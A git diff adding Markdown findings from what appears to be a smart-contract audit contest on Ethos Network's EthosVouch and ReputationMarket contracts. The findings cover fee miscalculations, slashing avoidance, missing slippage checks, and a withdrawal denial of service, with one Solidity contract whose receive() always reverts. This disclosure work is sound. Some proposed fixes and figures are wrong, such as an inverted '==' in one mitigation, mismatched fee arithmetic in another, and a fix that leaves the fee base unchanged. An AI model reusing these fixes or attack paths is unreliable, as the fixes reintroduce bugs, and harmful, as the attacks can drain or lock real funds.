`subjectA` hasn't vouched for any profiles, no funds are slashed from `subjectA`, allowing them to avoid penalties. +5. Vouchers for `subjectA` remain unaffected, leaving the intended punishment unexecuted. + + +### Impact + +- Incorrect Penalty: The accused profile (`subjectA`) avoids penalties, undermining the slashing mechanism. +- Loss of Funds: If unrelated vouches are incorrectly slashed, it results in a loss of funds for innocent profiles. + + +### PoC + +_No response_ + +### Mitigation + +Replace the `vouchIdsByAuthor` with `vouchIdsForSubjectProfileId` in the `slash()` function: +```diff +- uint256[] storage vouchIds = vouchIdsByAuthor[authorProfileId]; ++ uint256[] storage vouchIds = vouchIdsForSubjectProfileId[authorProfileId]; +``` +This change ensures that funds are slashed from the correct vouch records related to the accused profile. \ No newline at end of file diff --git a/197.md b/197.md new file mode 100644 index 0000000..7bdc915 --- /dev/null +++ b/197.md @@ -0,0 +1,69 @@ +Hollow Sable Piranha + +High + +# Incorrect Exit Fee Calculation in `applyFees()` + +### Summary + +The `EthosVouch.applyFees()` function incorrectly calculates the exit fee based on withdrawable amount ()`toWithdraw`) instead of the intended base amount (`vouch.balance`). This inconsistency deviates from the design constraints, leading to an incorrect overall fee structure. + + +### Root Cause + +1. The `EthosVouch.checkFeeExceedsMaximum()` function enforces the condition that the sum of all fees (`entryProtocolFeeBasisPoints`, `entryDonationFeeBasisPoints`, `entryVouchersPoolFeeBasisPoints`, and `exitFeeBasisPoints`) must not exceed `100%`: +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L996-L1004 +This means that the entry fees and the exit fee should be calculated based on the same quantity. +2. The `applyFees()` function calculates the entry fees based on the `vouch.balance`. +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L936-L938 +However, the function calculates the exit fee based on the withdrawable amount: +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L955 + ```solidity + uint256 exitFee = calcFee(amount, exitFeeBasisPoints); + ``` + where amount equals the remaining balance of the vouch after deducting entry fees. This results in the exit fee being computed on a reduced base, violating the intended constraints. + + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +1. The administrator sets: + - `entryProtocolFeeBasisPoints = 5000` (`50%`), + - `entryDonationFeeBasisPoints = entryVouchersPoolFeeBasisPoints = 0`, + - `exitFeeBasisPoints = 5000` (`50%`). + The total sum of fee rates are `100%`. +2. A user vouches `9000`. Entry fees are calculated as: + - Entry fee: `9000 * 5000 / (10000 + 5000) = 3000` + - Remaining vouch's balance: `9000 - 3000 = 6000` +3. Upon unvouching, exit fee is calculated as: + - Exit fee: `6000 * 5000 / (10000 + 5000) = 2000` + - Withdrawable amount: `6000 - 2000 = 4000` +4. Total fees amount to `3000 + 2000 = 5000`, which is `5000 / 6000 = 83%` of the vouch's balance instead of the expected `100%`. + + +### Impact + +The miscalculation: +- Results in fees deviating from the intended design, creating discrepancies in the system's fee structure. +- Allows the sum of entry and exit fees to exceed or fall short of 100%, undermining user trust and system consistency. + + +### PoC + +_No response_ + +### Mitigation + +Update the exit fee calculation in the `applyFees()` function to use the correct base (`vouch.balance`): +```solidity +- uint256 exitFee = calcFee(amount, exitFeeBasisPoints); ++ uint256 exitFee = amount * exitFeeBasisPoints / BASIS_POINT_SCALE; +``` +This change ensures that the exit fee aligns with the design constraints, maintaining consistent fee calculations. diff --git a/198.md b/198.md new file mode 100644 index 0000000..3c45ac5 --- /dev/null +++ b/198.md @@ -0,0 +1,178 @@ +Fast Concrete Otter + +Medium + +# Malicious contract as a donation recipient can block withdraw donations + +### Summary + +Malicious contract as a `donationRecipient` linked to a `profileId` can block `ReputationMarket::withdrawDonations`. + +Depending on how profiles are verified and whether they strictly represent wallet addresses, this issue may be irrelevant. However, according to the documentation for `EthosProfile.sol`: + +> Users can associate multiple addresses with a single profile ID, enabling participation from any wallet they own. +> Users are encouraged to register different addresses with their profile ID. + +This flexibility allows users to associate contract addresses with their `profileId`. A malicious contract linked as the `donationRecipient` could exploit this mechanism to block the `ReputationMarket::withdrawDonations` function, disrupting withdrawal services for the corresponding market. + + + +### Root Cause + +- In [`ReputationMarket::updateDonationRecipient::l.559`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L559C5-L559C49)] after checks new recipient is added permanently as the new `donationRecipient`. + +- In [`ReputationMarket::withdrawDonations::l.580`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L580) is sending ETH to the `donationRecipient` that could be a malicious contract. + +### Internal pre-conditions + +1. Ethos profile accepts contract as addresses linked to a specific id +2. Malicious contract needs to be in the list of addresses linked to the profile id and verified. + +### External pre-conditions + +_No response_ + +### Attack Path + +1. Deploy a malicious contract capable of reverting on Eth transfers: +```solidity +contract AttackWithdrawDonations { + ReputationMarket reputationMarket; + + constructor() {} + + function attackWithdraw(address _reputationMarket) public { + ReputationMarket(_reputationMarket).withdrawDonations(); + } + + receive() external payable { + revert(); // Blocks Ether transfers + } +} +``` + +2. Associate the malicious contract with a `profileID` as the `donationRecipient` by calling `ReputationMarket::updateDonationRecipient`. This is feasible if `_ethosProfileContract().verifiedProfileIdForAddress(newRecipient)` allows contract addresses: +```solidity +uint256 recipientProfileId = _ethosProfileContract().verifiedProfileIdForAddress(newRecipient); +if (recipientProfileId != profileId) revert InvalidProfileId(); +``` + +3. When the malicious contract attempts to withdraw donations via `ReputationMarket::withdrawDonations`, it will revert on Eth transfer: +```solidity +(bool success, ) = msg.sender.call{value: amount}(""); +if (!success) revert FeeTransferFailed("Donation withdrawal failed"); +``` + + +### Impact + +Even if the protocol has mechanisms to disallow malicious addresses, this attack could temporarily disable the withdrawal functionality, a critical feature of the market process. This could degrade user experience and impact market operations until the issue is resolved. + +### PoC + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity 0.8.26; + +contract ReputationMarket { + + error InsufficientFunds(); + error FeeTransferFailed(string message); + error ZeroAddress(); + error InvalidProfileId(); + + uint256 constant private PROFILE_ID = 777; + + mapping(address => uint256) public donationEscrow; + mapping(uint256 => address) public donationRecipient; + + event DonationWithdrawn(address indexed recipient, uint256 amount); + event DonationRecipientUpdated( + uint256 indexed profileId, address indexed oldRecipient, address indexed newRecipient + ); + + constructor() payable { + if (msg.value < 5 ether) revert("Not enough fund"); + donationEscrow[msg.sender] = msg.value; + donationRecipient[PROFILE_ID] = msg.sender; + } + + /** + * @dev Updates the donation recipient for a market + * @notice Only the current donation recipient can update the recipient + * @notice The new recipient must have the same Ethos profileId as the market + * @param profileId The profile ID of the market to update + * @param newRecipient The new address to receive donations + */ + function updateDonationRecipient(uint256 profileId, address newRecipient) public { + if (newRecipient == address(0)) revert ZeroAddress(); + + // if the new donation recipient has a balance, do not allow overwriting + // this is so rare, do we really need a custom error? + // @audit-gas consider using custom event -> Yes for gas opti + require(donationEscrow[newRecipient] == 0, "Donation recipient has balance"); + + // Ensure the sender is the current donation recipient + if (msg.sender != donationRecipient[profileId]) revert InvalidProfileId(); + + // Ensure the new recipient has the same Ethos profileId + + // @audit-issue the only check possible to avoid a bad contract address (only wallet?) + // uint256 recipientProfileId = _ethosProfileContract().verifiedProfileIdForAddress(newRecipient); + // if (recipientProfileId != profileId) revert InvalidProfileId(); + + // Update the donation recipient reference + donationRecipient[profileId] = newRecipient; + // Swap the current donation balance to the new recipient + donationEscrow[newRecipient] += donationEscrow[msg.sender]; + donationEscrow[msg.sender] = 0; + emit DonationRecipientUpdated(profileId, msg.sender, newRecipient); + } + + + /** + * @dev Allows a user to withdraw their accumulated donations from escrow + * @return amount The amount withdrawn + */ + function withdrawDonations() public returns (uint256) { + uint256 amount = donationEscrow[msg.sender]; + if (amount == 0) { + revert InsufficientFunds(); + } + + // Reset escrow balance before transfer to prevent reentrancy + donationEscrow[msg.sender] = 0; + + // Transfer the funds + (bool success,) = msg.sender.call{value: amount}(""); + if (!success) revert FeeTransferFailed("Donation withdrawal failed"); + + emit DonationWithdrawn(msg.sender, amount); + return amount; + } +} + +contract AttackWithdrawDonations { + ReputationMarket reputationMarket; + + constructor() {} + + function attackWithdraw(address _reputationMarket) public { + ReputationMarket(_reputationMarket).withdrawDonations(); + } + + receive() external payable { + revert(); + } +} +``` + +### Mitigation + +Evaluate the verification process for profiles to ensure malicious contract addresses cannot be added to the `profileId` list. This could involve: + +1. Enhancing guards in `_ethosProfileContract().verifiedProfileIdForAddress` to disallow contract addresses. +2. Restricting the `profileId` list to include only externally owned accounts (EOAs). +3. Implementing additional validation when updating the `donationRecipient` to mitigate such risks. + +This approach ensures that only legitimate wallet addresses can act as `donationRecipient`, preventing malicious contracts from disrupting withdrawal functionality. \ No newline at end of file diff --git a/199.md b/199.md new file mode 100644 index 0000000..d02d2ba --- /dev/null +++ b/199.md @@ -0,0 +1,75 @@ +Hollow Sable Piranha + +High + +# Voucher Can Avoid `entryVouchersPoolFeeBasisPoints` by Splitting Amounts Using `increaseVouch()` Function + +### Summary + +The `EthosVouch` contract allows vouchers to bypass a portion of the `entryVouchersPoolFeeBasisPoints` by splitting their vouch amount into smaller increments using the `increaseVouch()` function. This behavior occurs because the `_rewardPreviousVouchers()` function incorrectly includes the current voucher in the fee distribution. + + +### Root Cause + +- The `_rewardPreviousVouchers()` function distributes the `entryVouchersPoolFeeBasisPoints` to all existing vouchers, including the current voucher being processed: +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L697-L739 +Therefore, a portion of vouchers' pool fee is distributed to the current voucher him/herself too. +- Exploiting this vulnerabiilty, by splitting a single vouch into smaller increments using the `increaseVouch()` function, the voucher can avoid a portion of the fees distributed to the pool. + + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +Assume that: +1. `entryProtocolFeeBasisPoints = entryDonationFeeBasisPoints = 0` and `entryVouchersPoolFeeBasisPoints = 5000` (`50%`). +2. There is only one voucher `voucherA` who has vouched `6000` to the subject `subjectA`. +3. A voucher `voucherB` attempts to vouch `6000` to the subject `subjectA`. + +Scenario 1: Single Deposit +1. `voucherB` vouches `6000` to `subjectA` at a time. +2. The vouchers' pool fee is `6000 * 50% = 3000` and all of them is distributed to `voucherA`. +3. `voucherA`'s balance is `6000 + 3000 = 9000` and `voucherB`'s balance = `6000 - 3000 = 3000`. + +Scenario 2: Splitting the Deposit +1. Firstly, `voucherB` vouch `3000` to the subject `subjectA`. + 1. The vouchers' pool fee is `3000 * 50% = 1500` and all of them is distributed to the `voucherA`. + 2. Therefore, `voucherA`'s balance is `6000 + 1500 = 7500` and `voucherB`'s balance is `3000 - 1500 = 1500`. +2. Secondly, `voucherB` increase vouch amount `3000` to `subjectA`. + 1. The vouchers' pool fee is `3000 * 50% = 1500`. + 2. Since the total balance is `7500 + 1500 = 9000`, `1500 * 7500 / 9000 = 1250` is distributed to `subjectA` and `1500 * 1500 / 9000 = 250` is distributed to `subjectB`. + 3. Therefore, `voucherA`'s balance is `7500 + 1250 = 8750` and `voucherB`'s balance is `1500 + 250 + (3000 - 1500) = 3250`. + +In the scenario 2, `voucherB` ends up with `3250` avoiding `250` in vouchers' pool fee than the case of scenario 1. + + +### Impact + +Vouchers can avoid a portion of vouchers' pool fee by splitting their deposit into smaller increments. +The smaller the splitted amounts, the greater the fee avoidance. + + +### PoC + +_No response_ + +### Mitigation + +Modify the `_rewardPreviousVouchers()` function to exclude the current voucher from the fee distribution. For instance: +```diff + for (uint256 i = 0; i < totalVouches; i++) { + Vouch storage vouch = vouches[vouchIds[i]]; + // Only include active (not archived) vouches in the distribution +- if (!vouch.archived) { ++ if (!vouch.archived && vouchIds[i] == currentVouchId) { + totalBalance += vouch.balance; + } + } +``` +Such a change ensures that the current voucher does not reclaim a portion of the fees meant for the pool, closing the exploit. diff --git a/200.md b/200.md new file mode 100644 index 0000000..1d71532 --- /dev/null +++ b/200.md @@ -0,0 +1,57 @@ +Hollow Sable Piranha + +Medium + +# Admin Can Set Max Total Fees to Exceed 10% + +### Summary + +The README specifies that total fees across the contracts must not exceed `10%` (`1000 BPS`). However, the `EthosVouch` contract allows administrators to set the total fees up to `100%` (`10000 BPS`). + + +### Root Cause + +- The constant `MAX_TOTAL_FEES` is set mistakenly to `10000` (`100%`): + https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L120 + ```solidity + uint256 public constant MAX_TOTAL_FEES = 10000; + ``` +- The contract allows administrators to set fees that sum up to `100%`: + https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L1003 + + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +1. Admin set `entryProtocolFeeBasisPoints = exitFeeBasisPoints = entryDonationFeeBasisPoints = entryVouchersPoolFeeBasisPoints = 2500`. +2. As a result, max total fee is `10000 BPS = 100%` which is greater than `10%`. + + +### Impact + +As per README: +> Are there any limitations on values set by admins (or other roles) in the codebase, including restrictions on array lengths? +> For both contracts: +> - Maximum total fees cannot exceed 10% + +Broken README because admin can exceeds the limitation on values. + + +### PoC + +_No response_ + +### Mitigation + +Modify the `MAX_TOTAL_FEES` to `1000` (`10%`). +```diff +- uint256 public constant MAX_TOTAL_FEES = 10000; ++ uint256 public constant MAX_TOTAL_FEES = 1000; +``` diff --git a/201.md b/201.md new file mode 100644 index 0000000..41c91e8 --- /dev/null +++ b/201.md @@ -0,0 +1,98 @@ +Hollow Sable Piranha + +Medium + +# Sellers Will Lose Money Due to Incorrect Price Calculation in `ReputationMarket._calculateSell()` + +### Summary + +The `ReputationMarket._calculateSell()` function applies the smaller price to the seller because it recalculates the `votePrice` after decrementing the votes count in the while-loop. This results in sellers receiving a reduced price for their votes. + + +### Root Cause + +- In the `ReputationMarket._calculateSell()` function, the order of operations inside the while-loop is incorrect: + https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L1003-L1045 + ```solidity + function _calculateSell( + Market memory market, + uint256 profileId, + bool isPositive, + uint256 amount + ) + private + view + returns ( + uint256 votesSold, + uint256 fundsReceived, + uint256 newVotePrice, + uint256 protocolFee, + uint256 minVotePrice, + uint256 maxVotePrice + ) + { + uint256 votesAvailable = votesOwned[msg.sender][profileId].votes[isPositive ? TRUST : DISTRUST]; + + if (votesAvailable < amount) { + revert InsufficientVotesOwned(profileId, msg.sender); + } + + 1026: uint256 votePrice = _calcVotePrice(market, isPositive); + + uint256 maxPrice = votePrice; + uint256 minPrice; + + while (votesSold < amount) { + if (market.votes[isPositive ? TRUST : DISTRUST] <= 1) { + revert InsufficientVotesToSell(profileId); + } + + 1036: market.votes[isPositive ? TRUST : DISTRUST] -= 1; + 1037: votePrice = _calcVotePrice(market, isPositive); + 1038: fundsReceived += votePrice; + votesSold++; + } + (fundsReceived, protocolFee, ) = previewFees(fundsReceived, false); + minPrice = votePrice; + + return (votesSold, fundsReceived, votePrice, protocolFee, minPrice, maxPrice); + } + ``` + As shown, the function decrement the votes count at `L1036` before calculating the `votePrice` at `L1037` in the while-loop. Therefore, the `votePrice` of the `L1026` is ignored and the smaller price (`L1037`) than the original price (`L1026`) is received by the seller in `L1038`. + + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +1. For a market, `votes[TRUST] = 4`, `votes[UNTRUST] = 1` and `basePrice = 0.01 ether`. +2. A seller attempts to sell `1` vote by calling `sellVotes()` function. +3. The original price (`L026`) is `4 * 0.01 ether / 5 = 0.008 ether`. +4. However, the `votePrice` is calculated as `3 * 0.01 ether / 4 = 0.0075 ether` at `L037`. +5. Ignoring fees, the seller receives the lower price `0.0075 ether` instead of correct price `0.008 ether`. + + +### Impact + +Loss of funds because the sellers receive less than the correct value for their votes. + + +### PoC + +_No response_ + +### Mitigation + +Reorder the statements in the while-loop to apply the original `votePrice` before decrementing the votes count: +```diff ++ fundsReceived += votePrice; + market.votes[isPositive ? TRUST : DISTRUST] -= 1; + votePrice = _calcVotePrice(market, isPositive); +- fundsReceived += votePrice; +``` diff --git a/202.md b/202.md new file mode 100644 index 0000000..5d99e4e --- /dev/null +++ b/202.md @@ -0,0 +1,90 @@ +Melodic Sand Newt + +Medium + +# Incorrect Fee Calculation in checkFeeExceedsMaximum Function + +### Summary + +The checkFeeExceedsMaximum function has a critical flaw where the calculation for totalFees incorrectly subtracts currentFee, leading to scenarios where the actual total fees exceed the MAX_TOTAL_FEES limit without triggering a revert. + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L996-L1004 + +The function should check totalfees like this : where the totalfees is the fees of the sum of all the fees basis points. + + + + + +### Root Cause + +The function should check totalfees like this : where the totalfees is the fees of the sum of all the fees basis points. + + +uint256 totalFees = entryProtocolFeeBasisPoints + exitFeeBasisPoints + entryDonationFeeBasisPoints + + entryVouchersPoolFeeBasisPoints + newFee + + +But it checks totalfees like this + + + +uint256 totalFees = entryProtocolFeeBasisPoints + exitFeeBasisPoints +entryDonationFeeBasisPoints + entryVouchersPoolFeeBasisPoints + newFee - current_fee + + +Analysis + +let These things +entryProtocolFeeBasisPoints = 300 (3%) +exitFeeBasisPoints = 300 (3%) +entryDonationFeeBasisPoints = 200 (2%) +entryVouchersPoolFeeBasisPoints = 100 (10%) +MAX_TOTAL_FEES = 10000 (10%) + + +Faulty Pass Scenario: + +Suppose: + +currentFee = 1000 (1%) +newFee = 1000 (10%) +Function calculation: + + +uint256 totalFees = 3000 + 3000 + 2000 + 1000 + 1000 - 1000; + = 9000 + + +The function calculates totalFees as 9000, which is below MAX_TOTAL_FEES, so it doesn't revert. + + +Actual total fees: +uint256 totalFees = 3000 + 3000 + 2000 + 1000 + 1000; + +The actual total fees are 10000, exceeding MAX_TOTAL_FEES, but the function fails to detect this due to subtracting currentFee. + + + + +### Impact + +Impact : High +Likelihood : Low (Admin can only change fees) + +Severity : Medium + +Admin settting the fees to 100% unknowningly will lead to all the vouch stakes to the protocol itself. + +All the staking balance goes to the protocol himself, there is nothing left when unvouching. + +Acoording to sherlock rules "If a protocol defines restrictions on the owner/admin, issues involving attacks that bypass these restrictions may be considered valid." + +The Invarient on the admin fees setting is clearly bypassed, + + + +### Mitigation +```solidity +uint256 totalFees = entryProtocolFeeBasisPoints + exitFeeBasisPoints + entryDonationFeeBasisPoints + + entryVouchersPoolFeeBasisPoints + newFee +``` \ No newline at end of file diff --git a/203.md b/203.md new file mode 100644 index 0000000..ff503c3 --- /dev/null +++ b/203.md @@ -0,0 +1,79 @@ +Hollow Sable Piranha + +High + +# Market Funds Are Incorrectly Recorded + +### Summary + +The `ReputationMarket.sellVotes()` function records inflated `marketFunds` by including protocol fees and donations that are transferred elsewhere. This discrepancy can cause the admin's `withdrawGraduatedMarketFunds()` transaction to revert or result in unauthorized withdrawal from other market funds. + + +### Root Cause + +- The `ReputationMarket.sellVotes()` function incorrectly records the `marketFunds` inflated: + - The function adds the entire `fundsPaid` to the `marketFunds` mapping: + https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L481 + ```solidity + // tally market funds + marketFunds[profileId] += fundsPaid; + ``` + - The `fundsPaid` includes vote prices, protocol fees, and donations: + https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L970-L978 + ```solidity + while (fundsAvailable >= votePrice) { + fundsAvailable -= votePrice; + @> fundsPaid += votePrice; + votesBought++; + + market.votes[isPositive ? TRUST : DISTRUST] += 1; + votePrice = _calcVotePrice(market, isPositive); + } + @> fundsPaid += protocolFee + donation; + ``` + - However, the `protocolFee` is sent to `protocolFeeAddress`, and `donation` is claimed by the market recipient. +- Admin withdraw the `marketFunds` for the graduated market by calling `withdrawGraduatedMarketFunds()`: +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L675 +```solidity + _sendEth(marketFunds[profileId]); +``` + + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +1. `entryProtocolFeeBasisPoints = 50` and `donationBasisPoints = 50`. +2. User buy votes for a market by paying `10000 wei`. +3. Fees are calculated and transferred. + - `protocolFee = 10000 * 50 / 10000 = 50` are transferred to `protocolFeeAddress`. + - `donation = 10000 * 50 / 10000 = 50` are claimed by the market recipient. +4. `marketFunds` increases by `10000` including the fees instead of `9900`. +5. Admin graduates the market and withdraw the `marketFunds`. +6. The admin's tx reverts due to running out of funds or mistakenly takes out another market's funds. + + +### Impact + +- Loss of funds because another market's funds can be taken out. +- Break of the invariants of README: +> The vouch and vault contracts must never revert a transaction due to running out of funds. + + +### PoC + +_No response_ + +### Mitigation + +Record the correct funds as follows: +```diff +- marketFunds[profileId] += fundsPaid; ++ marketFunds[profileId] += (fundsPaid - protocolFee - donation); +``` diff --git a/204.md b/204.md new file mode 100644 index 0000000..06dd75d --- /dev/null +++ b/204.md @@ -0,0 +1,125 @@ +Lively Violet Troll + +High + +# `EthosVouch::unvouch` allows the accused avoid slashing during the accusation period + +### Summary + +The design of [slashing in whitepaper](https://whitepaper.ethos.network/ethos-mechanisms/slash) is to have `whistleblower` to notify the protocol and this accusation would trigger a timelock for the vouch functions before the actual slashing is executed by the protocol. + +But function `vouch` and `unvouch` in `EthosVouch` cannot check whether the author of `vouchId` is in the accusation period or not. + +This would make possible for anyone to avoid slashing by calling `unvouch` at the accusation period. + + +### Root Cause + +If we look into `slash` function, the slash would [only happen to vouch that is not archived](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L534), and the only way to mark a vouch to archived state is to call `unvouch` + +The root cause is because `unvouch` only check if the author's vouch is exist, and also not already archived. There are no way the contract knows if the period of accusation already started for said author of vouch, so the contract can not lock the vouch functions. + + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +1. alice accuse bob for unethical behavior by pledging nominal to validators +2. human verification are needed so there would be time before the slashing happens +3. bob saw alice tx that accuse him for unethical behavior +4. bob then calls `unvouch` for all of his vouchId +5. bob avoid slashing + +### Impact + +Anyone can avoid slashing if they call `unvouch` in the accusation period where they need human validation to validate the malicious behavior of the author. + +There are no incentive for `whistleblower` to accuse because they lose the fund they staked for starting accusation without gaining anything. + + +### PoC + +_No response_ + +### Mitigation + +add new element `bool accused` in the `Vouch` struct, and modify `_vouchShouldBePossibleUnvouch` to also check againts the value of `accused`. +this would effectively makes the `vouch` and `unvouch` locked if the author is in the accused period. + +add new function `accuse` and `pardon` that only slasher can call to change the `accused` status for the provided `authorProfileId`. + +```diff +diff --git a/ethos/packages/contracts/contracts/EthosVouch.sol b/ethos/packages/contracts/contracts/EthosVouch.sol +index 711fb74..4eff313 100644 +--- a/ethos/packages/contracts/contracts/EthosVouch.sol ++++ b/ethos/packages/contracts/contracts/EthosVouch.sol +@@ -105,6 +105,7 @@ contract EthosVouch is AccessControl, UUPSUpgradeable, ITargetStatus, Reentrancy + struct Vouch { + bool archived; + bool unhealthy; ++ bool accused; + uint256 authorProfileId; + address authorAddress; + uint256 vouchId; +@@ -203,6 +204,7 @@ contract EthosVouch is AccessControl, UUPSUpgradeable, ITargetStatus, Reentrancy + error InvalidSlashPercentage(); + error InvalidFeeProtocolAddress(); + error NotSlasher(); ++ error AuthorInAccusedPeriod(uint256 vouchId); + + // --- Events --- + event Vouched( +@@ -396,6 +398,7 @@ contract EthosVouch is AccessControl, UUPSUpgradeable, ITargetStatus, Reentrancy + vouches[count] = Vouch({ + archived: false, + unhealthy: false, ++ accused: false, + authorProfileId: authorProfileId, + authorAddress: msg.sender, + vouchId: count, +@@ -511,6 +514,27 @@ contract EthosVouch is AccessControl, UUPSUpgradeable, ITargetStatus, Reentrancy + + // --- Slash Functions --- + ++ function accuse(uint256 authorProfileId) external onlySlasher whenNotPaused nonReentrant { ++ uint256[] storage vouchIds = vouchIdsByAuthor[authorProfileId]; ++ for (uint256 i = 0; i < vouchIds.length; i++) { ++ Vouch storage vouch = vouches[vouchIds[i]]; ++ // Only accuse active vouches ++ if (!vouch.archived) { ++ vouch.accused = true; ++ } ++ } ++ } ++ function pardon(uint256 authorProfileId) external onlySlasher whenNotPaused nonReentrant { ++ uint256[] storage vouchIds = vouchIdsByAuthor[authorProfileId]; ++ for (uint256 i = 0; i < vouchIds.length; i++) { ++ Vouch storage vouch = vouches[vouchIds[i]]; ++ // Only pardon accused vouches ++ if (vouch.accused) { ++ vouch.accused = false; ++ } ++ } ++ } ++ + /** + * @notice Reduces all vouch balances for a given author by a percentage + * @param authorProfileId The profile ID whose vouches will be slashed +@@ -873,6 +897,9 @@ contract EthosVouch is AccessControl, UUPSUpgradeable, ITargetStatus, Reentrancy + if (v.archived) { + revert AlreadyUnvouched(vouchId); + } ++ if (v.accused) { ++ revert AuthorInAccusedPeriod(vouchId); ++ } + } + + /** + +``` diff --git a/205.md b/205.md new file mode 100644 index 0000000..effea97 --- /dev/null +++ b/205.md @@ -0,0 +1,62 @@ +Rich Sapphire Frog + +Medium + +# Exit fee is applied incorrectly leading to protocol losing a part of exit fee + +### Summary + +The exit fee is the fee applied when a user `unvouch()`. The calculation however is incorrect as the exit fee should apply to the total amount invested and not on the left over amount after deducting protocol, donation and voucher pool fee. The method `checkFeeExceedsMaximum()` checks if the total fees is <=100%. It states that the exit fee should apply on total amount. + +```solidity + /* @notice Checks if the new fee would cause the total fees to exceed the maximum allowed + * @dev This function is called before updating any fee to ensure the total doesn't exceed MAX_TOTAL_FEES + * @param currentFee The current value of the fee being updated + * @param newFee The proposed new value for the fee + */ + function checkFeeExceedsMaximum(uint256 currentFee, uint256 newFee) internal view { + uint256 totalFees = entryProtocolFeeBasisPoints + + exitFeeBasisPoints + + entryDonationFeeBasisPoints + + entryVouchersPoolFeeBasisPoints + + newFee - + currentFee; + if (totalFees > MAX_TOTAL_FEES) revert FeesExceedMaximum(totalFees, MAX_TOTAL_FEES); + } +``` + +### Root Cause + +In `https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L955`, the exit Fee calculated is as follows +```solidity +uint256 exitFee = calcFee(amount, exitFeeBasisPoints); +``` + + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +For example if the deposit amount is 100 and (protocol fee + donation fee + voucher fee) is 10%. Then the deposit amount in a vouch is 90. Now, when the user unvouch(). If the exit fee is 5%. The calculated amount will be 5% of 90. Which is 4.5. But the calculation should be 5% of 100. Which is 5. + +So on each unvouch() the protocol will lose 0.5%. Which will increase if the difference between entry and exit fees are more. +### PoC + +_No response_ + +### Mitigation + +When calculating exitFee factor in the previous fees as follows: +```solidity +exitFee = amount.muldiv(exitFeeBasisPoints,(BASIS_POINT_SCALE - entryProtocolFeeBasisPoints - entryDonationFeeBasisPoints - entryVouchersPoolFeeBasisPoints), Math.Rounding.Ceil); +``` diff --git a/206.md b/206.md new file mode 100644 index 0000000..e4e8c45 --- /dev/null +++ b/206.md @@ -0,0 +1,37 @@ +Bubbly Porcelain Blackbird + +High + +# `sellVotes()` lacks slippage protection, leading a severe fund losses + +### Summary + +Missing slippage checks in `sellVotes()` + +### Root Cause + +The `buyVotes()` function includes checks to prevent users from experiencing higher slippage when swapping ETH for votes. However, these checks are missing in `sellVotes()`, allowing an attacker to frontrun the victim's sell txn with another sell txn. As a result, a sellers might end up selling their votes at a lower price than they initially expected. + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L495 + +### Attack Path + +Follow the guided comments in attached PoC below. + +### Impact +Loss of funds to seller + +### PoC +> **Note:** that frontrunning is not necessarily required here; in normal sequencing, it is also possible for users to lose if other sell transactions are executed first. + +Start a [new](https://book.getfoundry.sh/getting-started/first-steps) foundry project, or simply run `forge init ./EthosTest` + +Under a **./test/** dir, create a new file, paste the [linked](https://gist.githubusercontent.com/btorque0x/cd99026f93024ecc1eba75c5e27cfaff/raw/094115daa04f75e099c0f3bed9a684c35bdb2bad/EthosTest.sol) code, + +and run `forge test -vvvv` + +Heres, the attached [SS](https://gist.github.com/user-attachments/assets/d1bb8298-a60b-42d3-88e5-58a4d6494d8d). + +### Mitigation + +Allow user to pass `expectedEth` as slippage parameter during `sellVotes()`, similar to `buyVotes()`. \ No newline at end of file diff --git a/207.md b/207.md new file mode 100644 index 0000000..e9860e8 --- /dev/null +++ b/207.md @@ -0,0 +1,114 @@ +Quick Holographic Canary + +Medium + +# arithmetic underflow in ReputationMarket.sol + +### Summary + +The [_checkSlippageLimit](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L1084-L1097) function is implemented insecurely, where a controlled value is directly used in an arithmetic operation which can cause integer underflow. + +** `_checkSlippageLimit` function is used in `ReputationMarket::buyVotes` function + +- `slippageBasisPoints` is passed as argument in buyVotes function +```solidity +function buyVotes( + uint256 profileId, + bool isPositive, + uint256 expectedVotes, + uint256 slippageBasisPoints + ) public payable whenNotPaused activeMarket(profileId) nonReentrant +``` +- The value is passed to [_checkSlippageLimit](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L461) +```solidity + _checkSlippageLimit(votesBought, expectedVotes, slippageBasisPoints); +``` 